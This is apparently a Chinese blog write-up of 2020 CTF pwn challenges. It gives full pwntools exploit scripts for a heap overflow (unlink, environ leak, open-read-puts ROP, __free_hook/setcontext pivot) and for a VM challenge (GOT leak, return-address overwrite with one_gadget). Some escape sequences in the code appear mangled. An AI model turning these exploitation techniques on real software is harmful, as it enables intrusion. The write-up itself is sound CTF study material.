• 2020高校战役


    lgd:

    解法一:

    先查看程序开的保护:

     没开PIE保护。用IDA查看反编译代码:

     刚开始看的时候确实被这代码量吓了一条,不过仔细看看会发现dword_60303C和dword_603010这两个变量的值是不变的,这样好多代码是不会执行的或执行后没有什么变化,那么分析就简单了。

    malloc时大小我们能控制,如下:

     在编辑函数中存在堆溢出:

     利用思路:

    • 先申请大小大于fastbin的chunk,free,在malloc,就可以泄漏libc基址(malloc是不会向其中写入数据,所以值不会变化)
    • 利用unlink控制buf指针所在内存块实现任意地址读写
    • libc中environ会存栈地址,可以里利用其泄漏栈地址
    • orw

    exp如下:

    #-*-coding:utf-8-*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./pwn')
    libc = ELF('libc.so.6')
    
    p.sendafter('name? ', 'A'*0x100)
    
    def Add(size, content):
        p.sendlineafter('>> ', '1')
        p.sendlineafter('______?
    ', str(size))
        p.sendlineafter('yes_or_no?
    ', content)
    
    def Free(index):
        p.sendlineafter('>> ', '2')
        p.sendlineafter('index ?
    ', str(index))
    
    def Show(index):
        p.sendlineafter('>> ', '3')
        p.sendlineafter('index ?
    ', str(index))
    
    def Edit(index, content):
        p.sendlineafter('>> ', '4')
        p.sendlineafter('index ?
    ', str(index))
        p.sendafter('content ?
    ', content)
    
    Add(16, 'A'*0x200) #chunk0
    Add(0x90, 'A'*0x200) #chunk1
    Add(0x80, 'A'*0x200) #chunk2
    Add(16, 'A'*0x10) #chunk3
    Free(1)
    payload = 'A'*0x20
    Edit(0, payload)
    Show(0)
    p.recvuntil('A'*0x20)
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c4b78
    info("libc_base ==> " + hex(libc_base))
    
    open_addr = libc_base + libc.symbols['open']
    info("open_addr ==> " + hex(open_addr))
    read_addr = libc_base + libc.symbols['read']
    info("read_addr ==> " + hex(read_addr))
    puts_addr = libc_base + libc.symbols['puts']
    info("puts_addr ==> " + hex(puts_addr))
    
    #修复chunk1
    payload = 'x00'*0x18 + p64(0xa1)
    Edit(0, payload)
    
    #unlink
    Add(0x90, 'A'*0x200) #chunk1
    payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + 'x00'*0x70 + p64(0x90) + p64(0x90)
    Edit(1, payload)
    Free(2)
    
    environ = libc_base + libc.symbols['environ']
    info("environ ==> " + hex(environ))
    
    payload = 'x00'*0x10 + p64(environ)
    Edit(1, payload)
    
    Show(0)
    stack_addr = u64(p.recv(6).ljust(8, 'x00')) - 0x220
    info("stack_addr ==> " + hex(stack_addr))
    
    payload = '/flag' + 'x00'*11 + p64(stack_addr)
    Edit(1, payload)
    
    pop_rsi_ret = libc_base + 0x202e8
    pop_rdx_ret = libc_base + 0x1b92
    pop_rdi_ret = 0x00000000004023b3
    
    payload  = p64(pop_rdi_ret) + p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open
    payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read
    payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts
    Edit(0, payload)
    
    p.interactive()

     解法二:

    解法二核心思路仍然是orw,不同的是把栈迁移到堆上,利用思路:

    • 控制free_hook并向其中写入setcontext+53的地址
    • 提前在队中布好ROP链
    • free chunk,利用__free_hook迁移栈

    exp如下:

    #-*-coding:utf-8-*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./pwn')
    elf = ELF('pwn')
    libc = elf.libc
    
    p.sendafter('name? ', 'A'*0x100)
    
    def Add(size, content):
        p.sendlineafter('>> ', '1')
        p.sendlineafter('______?
    ', str(size))
        p.sendlineafter('yes_or_no?
    ', content)
    
    def Free(index):
        p.sendlineafter('>> ', '2')
        p.sendlineafter('index ?
    ', str(index))
    
    def Show(index):
        p.sendlineafter('>> ', '3')
        p.sendlineafter('index ?
    ', str(index))
    
    def Edit(index, content):
        p.sendlineafter('>> ', '4')
        p.sendlineafter('index ?
    ', str(index))
        p.sendafter('content ?
    ', content)
    
    Add(16, 'A'*0x200) #chunk0
    Add(0x90, 'A'*0x200) #chunk1
    Add(0x80, 'A'*0x200) #chunk2
    Add(0x100, 'A'*0x200) #chunk3
    Free(1)
    payload = 'A'*0x20
    Edit(0, payload)
    Show(0)
    p.recvuntil('A'*0x20)
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c4b78
    info("libc_base ==> " + hex(libc_base))
    
    open_addr = libc_base + libc.symbols['open']
    info("open_addr ==> " + hex(open_addr))
    read_addr = libc_base + libc.symbols['read']
    info("read_addr ==> " + hex(read_addr))
    puts_addr = libc_base + libc.symbols['puts']
    info("puts_addr ==> " + hex(puts_addr))
    free_hook = libc_base + libc.symbols['__free_hook']
    info("free_hook ==> " + hex(free_hook))
    setcontext = libc_base + libc.symbols['setcontext']
    info("setcontext ==> " + hex(setcontext))
    
    #修复chunk1
    payload = 'x00'*0x18 + p64(0xa1)
    Edit(0, payload)
    
    #unlink
    Add(0x90, 'A'*0x200) #chunk1
    payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + 'x00'*0x70 + p64(0x90) + p64(0x90)
    Edit(1, payload)
    Free(2)
    
    payload = 'A'*0x10
    Edit(1, payload)
    Show(1)
    p.recvuntil('A'*16)
    chunk_addr = u64(p.recvuntil('
    ', drop = True).ljust(8, 'x00')) + 0x1c0 + 0x30
    info("chunk_addr ==> " + hex(chunk_addr))
    
    payload = '/flag' + 'x00'*11 + p64(free_hook)
    Edit(1, payload)
    
    payload = p64(setcontext+53)
    Edit(0, payload)
    
    pop_rsi_ret = libc_base + 0x202e8
    pop_rdx_ret = libc_base + 0x1b92
    pop_rdi_ret = 0x00000000004023b3
    
    payload = 'x00'*0xa0 + p64(chunk_addr+0x10) + p64(pop_rdi_ret)
    payload += p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open
    payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read
    payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts
    #gdb.attach(p, 'b * 0x401a97')
    Edit(3, payload)
    Free(3)
    
    p.interactive()

     EasyVM:

    先查看程序开的保护:

     发现保护全开。用IDA查看反编译出来的伪代码:

     这是在初始化模拟寄存器,v[1],v[2]……可以理解为模拟的寄存器

     这是模拟的的指令,比如输入113就可以执行对应的指令。

    仔细分析程序,发现这几个指令对我们是有用的:

     

     

     

     

     

     题目有提供给我们一个有bug的选项

    第一步:

     此时可以控制dword_305c,那么先执行指令9,在指令指令17,就可打印出其中的地址,减去固定偏移就可以得到代码段基址

    Bug()
    Process('x09x11x99')
    Start()
    
    code_addr = int(p.recv(10), 16) - 0x6c0
    info("code_addr ==> " + hex(code_addr))

    第二步:

    根据第一步拿到的代码段基址加上got表偏移就能拿到got表基址,先后执行指令113,118,83就可以泄漏其中的函数地址从而拿到libc基址

    puts_got = elf.got['puts'] + code_addr
    
    payload  = 'x71' + p32(puts_got) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+1) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+2) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+3) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x99'
    
    Process(payload)
    Start()
    
    puts_addr = u32(p.recv(4))
    info("puts_got ==> " + hex(puts_addr))
    
    
    libc_base = puts_addr - libc.symbols['puts']

    第三步:

    这里我踩了很多坑,一一记录一下:

    我最先的想法是输入指令113,118, 84向__free_hook中写入one_gadget,但是每一个都不满足one_gadget的执行条件

    之后我又该为向__mallc_hook中写入realloc,在向__realloc_hook中写入one_gadget,结果还是不行

    考虑到程序有puts,printf函数,我打算修改vtable表中其中一个值,结果发现其不可写,我又打算伪造整个vtable结果出错了,而且我调试的时候getchar函数无法读入数据,我也不知道为什么

    最后我选择利用environ泄漏stack地址然后利用ROP,终于这一次成功了。

    one_gadget = libc_base + 0x5fbc5
    free_hook = libc_base + libc.symbols['__free_hook']
    info("one_gadget ==> " + hex(one_gadget))
    realloc_addr = libc_base + libc.symbols['__libc_realloc']
    info("realloc_addr ==> " + hex(realloc_addr))
    environ = libc_base + libc.symbols['environ']
    info("environ ==> " + hex(environ))
    
    #泄漏栈地址
    payload  = 'x71' + p32(environ) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+1) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+2) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+3) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x99'
    Process(payload)
    Start()
    stack_addr = u32(p.recv(4)) - 0x100
    info("stack_addr ==> " + hex(stack_addr))
    
    #修改返回地址
    payload  = 'x71' + p32(stack_addr) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+1) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+2) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+3) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x99'
    Process(payload)
    #gdb.attach(p)
    Start()
    
    p.send(p32(one_gadget)[0])
    #sleep(1)
    p.send(p32(one_gadget)[1])
    #sleep(1)
    p.send(p32(one_gadget)[2])
    #sleep(1)
    p.send(p32(one_gadget)[3])

    最终的exp如下:

    #-*-coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./EasyVM')
    elf = ELF('EasyVM')
    libc = elf.libc
    
    def Process(content):
        p.sendlineafter('>>> 
    ', '1')
        p.send(content)
    
    def Start():
        p.sendlineafter('>>> 
    ', '2')
    
    def Recyle():
        p.sendlineafter('>>> 
    ', '3')
    
    def Bug():
        p.sendlineafter('>>> 
    ', '4')
    
    
    Bug()
    Process('x09x11x99')
    Start()
    
    code_addr = int(p.recv(10), 16) - 0x6c0
    info("code_addr ==> " + hex(code_addr))
    puts_got = elf.got['puts'] + code_addr
    
    payload  = 'x71' + p32(puts_got) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+1) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+2) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(puts_got+3) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x99'
    
    Process(payload)
    Start()
    
    puts_addr = u32(p.recv(4))
    info("puts_got ==> " + hex(puts_addr))
    
    
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x5fbc5
    free_hook = libc_base + libc.symbols['__free_hook']
    info("one_gadget ==> " + hex(one_gadget))
    realloc_addr = libc_base + libc.symbols['__libc_realloc']
    info("realloc_addr ==> " + hex(realloc_addr))
    environ = libc_base + libc.symbols['environ']
    info("environ ==> " + hex(environ))
    
    #泄漏栈地址
    payload  = 'x71' + p32(environ) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+1) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+2) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x71' + p32(environ+3) + 'x76' + 'x00x00x00x00' + 'x53x00'
    payload += 'x99'
    Process(payload)
    Start()
    stack_addr = u32(p.recv(4)) - 0x100
    info("stack_addr ==> " + hex(stack_addr))
    
    #修改返回地址
    payload  = 'x71' + p32(stack_addr) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+1) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+2) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x71' + p32(stack_addr+3) + 'x76' + 'x00x00x00x00' + 'x54x00'
    payload += 'x99'
    Process(payload)
    #gdb.attach(p)
    Start()
    
    p.send(p32(one_gadget)[0])
    #sleep(1)
    p.send(p32(one_gadget)[1])
    #sleep(1)
    p.send(p32(one_gadget)[2])
    #sleep(1)
    p.send(p32(one_gadget)[3])
    
    #Recyle()
    
    p.interactive()
  • 相关阅读:
    EF CORE EntityFrameworkCore中关系模式一对一、一对多、多对多的使用
    C# LINQ中Join与GroupJoin的区别
    C#中HttpWebRequest、WebClient、HttpClient的使用
    .Net 性能优化--EFCore(EntityFrameworkCore)
    .Net 性能优化--缓存--分布式缓存
    .Net 性能优化--缓存--http缓存
    .Net 性能优化--缓存--分布式缓存 --sqlserver缓存
    .Net 性能优化--缓存--分布式缓存--reids缓存
    获取Kafka每个分区最新Offset的几种方法
    Wireshark使用入门
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12516091.html
Copyright © 2020-2023  润新知